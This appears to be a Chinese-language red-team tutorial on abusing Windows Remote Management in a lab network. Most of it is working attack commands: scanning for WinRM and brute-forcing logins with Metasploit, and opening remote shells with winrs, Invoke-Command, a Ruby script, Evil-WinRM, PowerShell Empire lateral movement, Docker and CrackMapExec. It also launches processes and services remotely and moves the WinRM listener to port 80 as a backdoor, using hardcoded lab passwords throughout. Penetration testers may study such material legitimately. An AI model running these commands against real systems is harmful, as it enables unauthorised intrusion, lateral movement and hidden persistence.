WinRm在红队中的应用

目录:

环境

WinRm介绍

  • WinRm开启配置
  • WinRm连接测试

横向扩展-简单连接shell

  • 使用CMD连接服务器shell
  • 使用Powershell连接服务器shell

横向扩展-多样性

  • WinRm扫描
  • WinRM爆破
  • 通过Ruby脚本连接到远程Shell
  • 通过Evil-WinRM连接远程Shell
  • 通过PowerShell Empire连接远程Shell
  • 通过Docker连接远程Shell
  • 通过Crackmapexec连接远程Shell

额外的

  • MSF插件
  • WinRs的应用
  • WinRm其它
  • 弹计算器和远程执行:
  • WinRm的端口修改
  • 作为后门

1. 环境:
Kali:Null
win10:192.168.60.142 | DESKTOP-T9V9NVM
win16:192.168.60.146 | WIN-PCJGJBKAF5K

2. WinRm介绍
Windows远程管理(WinRM)是WS-Management Protocol的Microsoft实现,WS-Management Protocol是基于标准的简单对象访问协议(SOAP)的,防火墙友好的协议,允许来自不同供应商的硬件和操作系统进行互操作。

WS-Management协议规范为系统提供了一种跨IT基础结构访问和交换管理信息的通用方法。WinRM和智能平台管理接口(IPMI)以及事件收集器是Windows硬件管理功能的组件。

HTTP传输使用端口5985,HTTPS传输使用端口5986。
在Windows操作系统的服务器和客户端版本上,Enable-PSRemoting允许管理员通过WinRM服务使用Powershell访问专用网络和域网络的远程Shell。

2.1 WinRm开启配置
开启过程只需要几个命令就能完成,不过条件需要是管理员权限下的powershell进行,不然会提示错误.然后注意的是它会要求你在专用网络下开启而不是公用网络下.详细如下命令以及配图:)

Enable-PSRemoting –force
winrm quickconfig -transport:https
Set-Item wsman:\localhost\client\trustedhosts * 
Restart-Service WinRM

2.2 WinRm连接测试
配置完之后,我是在Windows10 和 Windows2016进行的,可以试试是否能进行相关连接,命令如下:

test-wsman -computername "DESKTOP-T9V9NVM"
test-wsman -computername "192.168.60.146"
test-wsman 192.168.60.146

3. 横向扩展-简单连接shell
这里可以使用cmd和powershell进行连接

3.1 使用CMD连接服务器shell
命令如下:

winrs -r:192.168.60.142 -u:Administrator -p:321321 "ipconfig"
winrs -r:192.168.60.146 -u:Administrator -p:123456a. "cmd"

3.2 使用Powershell连接服务器shell
第一条是列举管理员信息,第二条则是获取到一个shell
命令如下:

Invoke-Command -ComputerName "192.168.60.146" -Credential workgroup\administrator -Authentication Negotiate -Port 5985 -ScriptBlock {net user administrator}
Enter-PSSession -ComputerName "192.168.60.146" -Credential administrator

4. 横向扩展-多样性
4.1 WinRm扫描
判断机器有没有开Winrm可以对特定端口进行扫描或者msf的扫描插件(HTTP传输使用端口5985,HTTPS传输使用端口5986。)

nmap -sV 192.168.60.146 -p5985,5986
msf:use auxiliary/scanner/winrm/winrm_auth_methods

4.2 WinRM爆破
随后对于WinRm身份爆破的话可以用msf进行

msf:use auxiliary/scanner/winrm/winrm_login

4.3 通过Ruby脚本连接到远程Shell

Ruby脚本如下:

root@kali:~# gem install winrm
root@kali:~# cat winrm_shell.rb
require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'http://192.168.78.185:5985/wsman',
  user: 'administrator',
  password: 'administrator123',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end
root@kali:~# ruby winrm_shell.rb

4.4 通过Evil-WinRM连接远程Shell
在kali上可以安装Evil-WinRM渗透测试框架
命令如下:

gem install evil-winrm
evil-winrm -i 192.168.60.146 -u administrator -p '123456a.'

4.5 通过PowerShell Empire连接远程Shell
PowerShell Empire命令如下:

usemodule lateral_movement/invoke_psremoting
set Listener http
set ComputerName 192.168.60.146
set UserName administrator
set Password 123456a.
execute

4.6 通过Docker连接远程Shell
使用具有NTLM支持的powershell的docker镜像,然后远程Linux到Windows
可以参考:https://blog.quickbreach.io/blog/powershell-remoting-from-linux-to-windows/
Docker连接命令如下:

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 192.168.60.146 -Authentication Negotiate -Credential $creds

4.7 通过Crackmapexec连接远程Shell
命令如下:

crackmapexec winr 192.168.60.146 -u 'Administrator' -p '123456a.' -x "cmd"

5. 额外的
5.1MSF插件

auxiliary/scanner/winrm/winrm_cmd //执行返回一个shell
exploit/windows/winrm/winrm_script_exec //代码执行脚本

5.2 WinRs的应用
条件:需要WInRm的启用

winrs -r:http://WIN-PCJGJBKAF5K/wsman "cmd"
winrs -r:http://WIN-PCJGJBKAF5K/wsman "net localgroup administrators"

5.3 WinRm其它
弹计算器和远程执行:

winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"}
winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://192.168.60.146 -u:administrator -p:123456a.

也可以用win32_service来弹计算器

winrm invoke Create wmicimv2/Win32_Service @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\windows\system32\calc.exe"} -r:http://192.168.60.146 -u:administrator -p:123456a.
winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://192.168.60.146 -u:administrator -p:123456a.

随后WinRm的端口修改

winrm get winrm/config //查看配置
winrm e winrm/config/listener // 查看监听地址和端口
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

作为后门
端口复用修改为80端口

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
winrs -r:192.168.60.146 -u:Administrator -p:123456a. "cmd"